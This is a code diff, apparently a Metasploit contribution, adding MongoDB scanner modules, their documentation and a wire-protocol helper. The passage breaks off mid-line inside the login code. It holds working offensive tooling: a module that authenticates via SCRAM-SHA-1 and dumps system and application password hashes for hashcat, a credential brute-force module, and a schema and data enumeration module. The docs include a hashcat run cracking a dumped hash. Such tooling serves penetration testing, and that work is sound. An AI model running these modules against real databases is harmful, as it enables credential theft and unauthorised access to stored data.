diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md new file mode 100644 index 0000000000000..8ff2a3184e4fd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_hashdump.md @@ -0,0 +1,160 @@ +## Vulnerable Application + +This module extracts password hashes from a MongoDB instance and stores +them in the database for later cracking. By default, it dumps system user +credentials from the 'system.users' collection. Alternatively, +it can dump application user hashes from a specified collection. + +Use Hashcat mode 24100 for SCRAM-SHA-1 and 24200 for SCRAM-SHA-256 +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_hashdump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a hash dump + +## Options + +### DB + +Database to query. Defaults to `admin` + +### COLLECTION + +Custom collection to dump (if empty, dumps system.users). Defaults to ``. + +### USER_FIELD + +Username field name for custom collection. Defaults to `username` + +### HASH_FIELD + +Hash field name for custom collection. Defaults to `hash` + +### USERNAME + +Username for authentication if required. Defaults to ``. + +### PASSWORD + +Password for authentication if required. Defaults to ``. + +## Scenarios + +### MongoDB 3.6 + +``` +msf > use auxiliary/scanner/mongodb/mongodb_hashdump +msf auxiliary(scanner/mongodb/mongodb_hashdump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_hashdump) > exploit +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1... +[+] 127.0.0.1:27017 - No authentication required +[*] 127.0.0.1:27017 - Dumping MongoDB system users from admin.system.users... +[+] 127.0.0.1:27017 - +MongoDB System Hashes +===================== + +Type Username Hash +---- -------- ---- +db (SCRAM-SHA-1) admin $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g= + +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Cracking + +``` +$ hashcat /tmp/hashes.txt -m 24100 -a 0 /tmp/wordlist --potfile-disable +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] +==================================================================================================================================================== +* Device #01: cpu-ivybridge-Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz, 39240/78480 MB (16384 MB allocatable), 12MCU + +...clip... + +Approaching final keyspace - workload adjusted. + +$mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W7MLw==*NyPJ9yTYQcSRYcyC+8rCqvu9c4g=:adminpassword + +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 24100 (MongoDB ServerKey SCRAM-SHA-1) +Hash.Target......: $mongodb-scram$*0*YWRtaW4=*10000*1kvLnsfbYpJe0HcO/W...u9c4g= +Time.Started.....: Fri Aug 14 14:31:45 2026 (0 secs) +Time.Estimated...: Fri Aug 14 14:31:45 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/tmp/wordlist) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........: 225 H/s (0.86ms) @ Accel:87 Loops:1000 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 3/3 (100.00%) +Rejected.........: 0/3 (0.00%) +Restore.Point....: 0/3 (0.00%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9000-9999 +Candidate.Engine.: Device Generator +Candidates.#01...: admin -> password +Hardware.Mon.#01.: Util: 20% + +Started: Fri Aug 14 14:31:42 2026 +Stopped: Fri Aug 14 14:31:47 2026 +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md new file mode 100644 index 0000000000000..1ec1bc6238c60 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_login.md @@ -0,0 +1,148 @@ +## Vulnerable Application + +This module attempts to brute force authentication credentials for MongoDB. +It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy +MONGODB-CR authentication if SCRAM is unsupported by the target server. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_login` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a login + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_login) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[*] 127.0.0.1:27017 - 127.0.0.1:27017 - Mongo server (version 3.6.23) requires authentication +[*] 127.0.0.1:27017 - Trying user: admin, password: adminpassword +[+] 127.0.0.1:27017 - 127.0.0.1 - SUCCESSFUL LOGIN 'admin' : 'adminpassword' (SCRAM-SHA-1) +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_login +msf auxiliary(scanner/mongodb/mongodb_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_login) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_login) > run +[*] 127.0.0.1:27017 - Scanning IP: 127.0.0.1 +[+] 127.0.0.1:27017 - Mongo server 127.0.0.1 (version 3.6.23) doesn't use authentication +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md new file mode 100644 index 0000000000000..c2e9247825644 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_schemadump.md @@ -0,0 +1,236 @@ +## Vulnerable Application + +This module connects to an unauthenticated or authenticated MongoDB instance, +authenticates using SCRAM-SHA-1 if credentials are provided, enumerates +databases and collections via wire protocol, samples documents, and dumps +the inferred schema structure. + +Successfully tested against MongoDB 3.6 with and without authentication + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: adminpassword + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_schemadump` +1. Optionally Do: `set username ` +1. Optionally Do: `set password ` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a schema dump + +## Options + +### DB_NAME + +Specific database to enumerate (leave blank for all). Defaults to `` + +### AUTH_DB + +Database to authenticate against. Defaults to `admin` + +### USERNAME + +Username for authentication. Defaults to `` + +### PASSWORD + +Password for authentication. Defaults to `` + +### SAMPLE_SIZE + +Number of sample documents to inspect per collection for schema mapping. Defaults to `5` + +## Scenarios + +### MongoDB 3.6 with Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set username admin +username => admin +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set password adminpassword +password => adminpassword +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814091146_default_127.0.0.1_mongodb.schema_850455.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_schemadump +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_schemadump) > set verbose true +verbose => true +msf auxiliary(scanner/mongodb/mongodb_schemadump) > exploit +[*] 127.0.0.1:27017 - Connected to MongoDB wire protocol +[+] 127.0.0.1:27017 - Authenticated successfully as 'admin' on 'admin' +[*] 127.0.0.1:27017 - Post-auth listDatabases reply: {"databases"=>[{"name"=>"admin", "sizeOnDisk"=>81920.0, "empty"=>false}, {"name"=>"config", "sizeOnDisk"=>12288.0, "empty"=>false}, {"name"=>"intranet", "sizeOnDisk"=>65536.0, "empty"=>false}, {"name"=>"local", "sizeOnDisk"=>65536.0, "empty"=>false}], "totalSize"=>225280.0, "ok"=>1.0} +[+] 127.0.0.1:27017 - Found Databases: admin, config, intranet, local +[*] 127.0.0.1:27017 - DB 'admin' Collections: system.users, system.version +[+] 127.0.0.1:27017 - Schema for admin.system.users: + - _id (String) + - userId (Binary) + - user (String) + - db (String) + - credentials (Document) + - credentials.SCRAM-SHA-1 (Document) + - credentials.SCRAM-SHA-1.iterationCount (Integer) + - credentials.SCRAM-SHA-1.salt (String) + - credentials.SCRAM-SHA-1.storedKey (String) + - credentials.SCRAM-SHA-1.serverKey (String) + - roles (Array) +[+] 127.0.0.1:27017 - Schema for admin.system.version: + - _id (String) + - version (String) + - currentVersion (Integer) +[*] 127.0.0.1:27017 - DB 'config' Collections: system.sessions +[*] 127.0.0.1:27017 - Collection config.system.sessions is empty or returned no fields. +[*] 127.0.0.1:27017 - DB 'intranet' Collections: users, config +[+] 127.0.0.1:27017 - Schema for intranet.users: + - _id (ObjectId) + - user (String) + - role (String) + - email (String) +[+] 127.0.0.1:27017 - Schema for intranet.config: + - _id (ObjectId) + - key (String) + - value (String) + - note (String) +[*] 127.0.0.1:27017 - DB 'local' Collections: startup_log +[+] 127.0.0.1:27017 - Schema for local.startup_log: + - _id (String) + - hostname (String) + - startTime (Time) + - startTimeLocal (String) + - cmdLine (Document) + - cmdLine.net (Document) + - cmdLine.net.bindIp (String) + - cmdLine.net.port (Integer) + - cmdLine.net.ssl (Document) + - cmdLine.net.ssl.mode (String) + - cmdLine.processManagement (Document) + - cmdLine.processManagement.fork (TrueClass) + - cmdLine.processManagement.pidFilePath (String) + - cmdLine.systemLog (Document) + - cmdLine.systemLog.destination (String) + - cmdLine.systemLog.logAppend (TrueClass) + - cmdLine.systemLog.path (String) + - pid (Integer) + - buildinfo (Document) + - buildinfo.version (String) + - buildinfo.gitVersion (String) + - buildinfo.modules (Array) + - buildinfo.allocator (String) + - buildinfo.javascriptEngine (String) + - buildinfo.sysInfo (String) + - buildinfo.versionArray (Array) + - buildinfo.openssl (Document) + - buildinfo.openssl.running (String) + - buildinfo.openssl.compiled (String) + - buildinfo.buildEnvironment (Document) + - buildinfo.buildEnvironment.distmod (String) + - buildinfo.buildEnvironment.distarch (String) + - buildinfo.buildEnvironment.cc (String) + - buildinfo.buildEnvironment.ccflags (String) + - buildinfo.buildEnvironment.cxx (String) + - buildinfo.buildEnvironment.cxxflags (String) + - buildinfo.buildEnvironment.linkflags (String) + - buildinfo.buildEnvironment.target_arch (String) + - buildinfo.buildEnvironment.target_os (String) + - buildinfo.bits (Integer) + - buildinfo.debug (FalseClass) + - buildinfo.maxBsonObjectSize (Integer) + - buildinfo.storageEngines (Array) + - cmdLine.net.bindIpAll (TrueClass) + - cmdLine.security (Document) + - cmdLine.security.authorization (String) +[+] 127.0.0.1:27017 - Schema dumped to loot: /home/h00die/.msf4/loot/20260814093115_default_127.0.0.1_mongodb.schema_973313.json +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md new file mode 100644 index 0000000000000..4b1097f180a48 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/mongodb_version.md @@ -0,0 +1,83 @@ +## Vulnerable Application + +This module connects to a MongoDB instance and retrieves the server version +using the buildInfo command. No authentication is required for this command. + +Tested against MongoDB 3.6.23 + +### Docker Compose Setup + +#### init-mongo.js + +Write this file to `init-mongo.js` + +``` +// Switch to 'intranet' database +db = db.getSiblingDB('intranet'); + +// Create a non-root read/write user for testing +db.createUser({ + user: "testuser", + pwd: "testpass", + roles: [ + { role: "readWrite", db: "intranet" } + ] +}); + +// Create sample collection and documents +db.users.insertMany([ + { user: "admin", role: "administrator", email: "admin@corp.local" }, + { user: "jdoe", role: "developer", email: "jdoe@corp.local" } +]); + +db.config.insertMany([ + { key: "site_name", value: "Internal Portal", note: "Production config" } +]); +``` + +#### docker-compose.yml with OUT authentication + +``` +version: '3.8' + +services: + mongodb: + image: mongo:3.6 + container_name: mongodb_auth_test + ports: + - "27017:27017" + environment: + MONGO_INITDB_DATABASE: intranet + volumes: + - mongo_data:/data/db + - ./init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro + +volumes: + mongo_data: +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/mongodb/mongodb_version` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a version back + +## Options + +## Scenarios + +### MongoDB 3.6 with NO Authentication + +``` +msf > use auxiliary/scanner/mongodb/mongodb_version +msf auxiliary(scanner/mongodb/mongodb_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/mongodb/mongodb_version) > run +[*] 127.0.0.1:27017 - Connecting to 127.0.0.1:27017... +[+] 127.0.0.1:27017 - 127.0.0.1:27017 - MongoDB version: 3.6.23 +[*] 127.0.0.1:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/exploit/remote/mongodb.rb b/lib/msf/core/exploit/remote/mongodb.rb new file mode 100644 index 0000000000000..ce6dc5f088523 --- /dev/null +++ b/lib/msf/core/exploit/remote/mongodb.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +module Msf + # This mixin provides the low-level MongoDB wire protocol helpers (OP_QUERY + # packet construction and BSON reply parsing) shared by the MongoDB + # auxiliary scanner modules. It intentionally stays at the wire-protocol + # level -- higher-level behavior such as authentication flows and + # credential reporting differs enough between modules (SCRAM step counts, + # whether creds get reported, return value semantics) that unifying it + # here would risk changing tested behavior, so each module keeps its own + # auth/report logic built on top of these primitives. + module Exploit::Remote::Mongodb + include Msf::Exploit::Remote::Tcp + + # Builds a MongoDB wire protocol OP_QUERY message. + # + # @param coll_name [String] fully qualified namespace, e.g. "admin.$cmd" + # @param bson_payload [String] the BSON-encoded command/query document + # @param number_to_return [Integer] OP_QUERY numberToReturn field + # @return [String] the raw wire protocol message bytes + def mongodb_build_packet(coll_name, bson_payload, number_to_return: 1) + coll_str = "#{coll_name}\x00" + req_id = Rex::Text.rand_text(4) + msg_len = 16 + 4 + coll_str.length + 4 + 4 + bson_payload.length + + packet = [msg_len].pack('V') + packet << req_id # requestID + packet << "\x00\x00\x00\x00" # responseTo: 0 + packet << "\xd4\x07\x00\x00" # opCode: 2004 (OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << coll_str # fullCollectionName + packet << "\x00\x00\x00\x00" # numberToSkip: 0 + packet << [number_to_return].pack('V') # numberToReturn + packet << bson_payload + packet + end + + # Parses the single BSON reply document from a raw OP_REPLY response. + # + # @param response [String, nil] raw bytes read from the socket + # @return [BSON::Document, nil] + def mongodb_parse_doc(response) + return nil if response.nil? || response.length <= 36 + + buffer = BSON::ByteBuffer.new(response[36..]) + BSON::Document.from_bson(buffer) + rescue StandardError + nil + end + + # Parses every BSON document present in a raw OP_REPLY response body. + # + # @param response [String, nil] raw bytes read from the socket + # @return [Array] + def mongodb_parse_docs(response) + return [] if response.nil? || response.length <= 36 + + data = response[36..] + return [] if data.nil? || data.empty? + + docs = [] + offset = 0 + + while offset < data.length + break if offset + 4 > data.length + + doc_len = data[offset, 4].unpack1('V') + break if doc_len.nil? || doc_len <= 0 || (offset + doc_len) > data.length + + buffer = BSON::ByteBuffer.new(data[offset, doc_len]) + docs << BSON::Document.from_bson(buffer) + offset += doc_len + end + + docs + rescue StandardError => e + vprint_error("BSON parse error: #{e.message}") + [] + end + + # Parses a SCRAM `key=value,key=value` wire payload into a Hash. + # + # @param payload [String] + # @return [Hash] + def mongodb_parse_scram_payload(payload) + payload.split(',').each_with_object({}) do |var, hash| + k, v = var.split('=', 2) + hash[k] = v if k && v + end + end + + # @param response [String, nil] + # @return [Boolean] true if the response indicates the command failed due + # to a missing/invalid authentication context + def mongodb_have_auth_error?(response) + return true if response.nil? || response.length <= 36 + + doc = mongodb_parse_doc(response) + if doc + return true if doc['ok'].to_i == 0 || doc['errmsg'] + else + documents = response[36..] + return documents.include?('errmsg') || documents.include?('unauthorized') || documents.include?('requires authentication') + end + + false + end + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb new file mode 100644 index 0000000000000..773dae13e0466 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb @@ -0,0 +1,405 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' +require 'digest' +require 'base64' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Hash Extractor', + 'Description' => %q{ + This module extracts password hashes from a MongoDB instance and stores + them in the database for later cracking. By default, it dumps system user + credentials from the 'system.users' collection. Alternatively, + it can dump application user hashes from a specified collection. + + The dumped SCRAM hashes are formatted for Hashcat mode 24100 (SCRAM-SHA-1) + and 24200 (SCRAM-SHA-256), but are not yet wired into Metasploit's + auxiliary/analyze cracking modules -- use hashcat directly against the + exported hash, or 'creds -o' to export it, for now. + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], + [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ], + [ 'URL', 'https://hashcat.net/wiki/doku.php?id=example_hashes' ] + ], + 'Author' => [ + 'h00die', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB', [ true, 'Database to query', 'admin']), + OptString.new('COLLECTION', [ false, 'Custom collection to dump (if empty, dumps system.users)', '']), + OptString.new('USER_FIELD', [ false, 'Username field name for custom collection', 'username']), + OptString.new('HASH_FIELD', [ false, 'Hash field name for custom collection', 'hash']), + OptString.new('USERNAME', [ false, 'Username for authentication if required', '']), + OptString.new('PASSWORD', [ false, 'Password for authentication if required', '']) + ] + ) + end + + def run_host(ip) + print_status("Connecting to #{ip}...") + begin + connect + + if require_auth? + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + if user.blank? || pass.blank? + print_error('Authentication required but no USERNAME/PASSWORD provided') + return + end + + print_status("Authentication required, attempting login as '#{user}'...") + if do_login(user, pass) != :success + print_error('Login failed') + return + end + print_good('Successfully authenticated') + else + print_good('No authentication required') + end + + if datastore['COLLECTION'].blank? + dump_system_users + else + dump_app_users + end + rescue StandardError => e + print_error("Unable to connect: #{e}") + ensure + disconnect + end + end + + def dump_system_users + db = datastore['DB'] + print_status("Dumping MongoDB system users from #{db}.system.users...") + + cmd = BSON::Document.new({}) + pkt = mongodb_build_packet("#{db}.system.users", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB System Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc['user'] + creds = doc['credentials'] || {} + + # SCRAM-SHA-1 (Hashcat 24100) + if creds['SCRAM-SHA-1'] + s1 = creds['SCRAM-SHA-1'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*0*#{b64_user}*#{s1['iterationCount']}*#{s1['salt']}*#{s1['serverKey']}" + tbl << ['db (SCRAM-SHA-1)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha1') + end + + # SCRAM-SHA-256 (Hashcat 24200) + if creds['SCRAM-SHA-256'] + s256 = creds['SCRAM-SHA-256'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*1*#{b64_user}*#{s256['iterationCount']}*#{s256['salt']}*#{s256['serverKey']}" + tbl << ['db (SCRAM-SHA-256)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha256') + end + + # MONGODB-CR Legacy (Plain MD5) + next unless doc['pwd'] && !creds.key?('SCRAM-SHA-1') && !creds.key?('SCRAM-SHA-256') + + hash = doc['pwd'] + tbl << ['db (MONGODB-CR)', user, hash] + + store_hash_credential(service_data, user, hash, 'md5') + end + + print_good("\n#{tbl}") + end + + def dump_app_users + coll = datastore['COLLECTION'] + user_field = datastore['USER_FIELD'] + hash_field = datastore['HASH_FIELD'] + db = datastore['DB'] + + print_status("Dumping app hashes from #{db}.#{coll} (Field: #{user_field}:#{hash_field})...") + + cmd = BSON::Document.new({ + hash_field => { '$exists' => true, '$ne' => '' } + }) + pkt = mongodb_build_packet("#{db}.#{coll}", cmd.to_bson.to_s, number_to_return: -1) + + sock.put(pkt) + resp = sock.get_once(-1, 10) + + docs = mongodb_parse_docs(resp) + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB Application Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc[user_field].to_s + hash = doc[hash_field].to_s + + next if user.blank? || hash.blank? + + tbl << ['app', user, hash] + + store_hash_credential(service_data, user, hash) + end + + print_good("\n#{tbl}") + end + + def store_hash_credential(service_data, username, hash, jtr_format = nil) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: hash, + private_type: :nonreplayable_hash + } + credential_data[:jtr_format] = jtr_format if jtr_format + credential_data.merge!(service_data) + + create_credential(credential_data) + end + + def do_login(user, password) + vprint_status("Trying user: #{user}, password: #{password}") + + scram_status = auth_scram_sha1(user, password) + return :success if scram_status == :next_user + + vprint_status('SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...') + nonce = get_nonce + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return :success if cr_status == :next_user + end + + nil + end + + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL 